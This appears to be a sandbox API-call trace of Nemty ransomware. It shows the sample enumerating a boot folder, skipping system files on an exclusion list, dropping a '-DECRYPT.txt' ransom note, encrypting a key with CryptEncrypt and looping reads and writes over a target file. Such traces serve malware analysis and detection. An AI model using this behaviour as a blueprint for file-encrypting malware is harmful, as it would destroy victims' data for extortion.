1 [0045.746] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2=".") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="..") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="...") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="windows") returned -1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="$RECYCLE.BIN") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="rsa") returned -1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="NTDETECT.COM") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="ntldr") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="MSDOS.SYS") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="IO.SYS") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="boot.ini") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="boot.ini") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="AUTOEXEC.BAT") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="ntuser.dat") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="desktop.ini") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="CONFIG.SYS") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="RECYCLER") returned -1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="BOOTSECT.BAK") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="bootmgr") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="programdata") returned 1 [0045.746] lstrcmpiW (lpString1="pt-PT", lpString2="appdata") returned 1 [0045.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt-PT", lpUsedDefaultChar=0x0) returned 5 [0045.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-PT", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt-PT", lpUsedDefaultChar=0x0) returned 5 [0045.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.746] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.746] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.747] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.747] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.747] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pt-pt\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.747] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.747] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.747] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.748] CloseHandle (hObject=0x3c0) returned 1 [0045.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.748] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.748] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.748] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.749] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pt-pt\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.749] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.750] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.750] CloseHandle (hObject=0x3c0) returned 1 [0045.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.751] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcef6cc70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcef6cc70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.751] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.751] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcef6cc70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcef6cc70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.751] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.751] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.751] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.751] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.752] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0045.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.752] Sleep (dwMilliseconds=0x5) [0045.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcef92dd0, dwHighDateTime=0x1d561e7)) [0045.753] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcef92dd0, dwHighDateTime=0x1d561e7)) [0045.753] GetLastError () returned 0xb7 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.753] GetLastError () returned 0xb7 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.753] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0045.753] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0045.753] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0045.753] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="6RyR/J6DW6LC1tY5y7n6CHBcoI74fqf9K3CgMxAiMbNVn21JLpA8X0eElst8ckFL\r\nmqdZK1B4qVX95fJyqvHSjGAWl6UbufLXkR42PABY2pI4QTMsr2sAmJhSLpbelq1/\r\nLIaduEYCYWOuOJbT+olBiN75hMc3lO1meLlZZuVLpMgwlgTunr2OMxsfnv0KQash\r\n0l7IxU4Pl+rjHe0xnW0AzQNuPCVyiXhjhf8rhKXfzjA6vrBvNAM6HqodSqUe5nUI\r\neNfKShkvXSu8jGC8O/5NPXY4h/Y6GGRywY3tvIldggCFDT/cnMLN6Xni+8eu77rZ\r\nH2JOJsEE/91crRav7QUFww==\r\n", pcchString=0x653f2dc) returned 1 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0045.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0045.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0045.753] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0045.761] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0045.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0045.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.809] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0045.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0045.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0045.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, 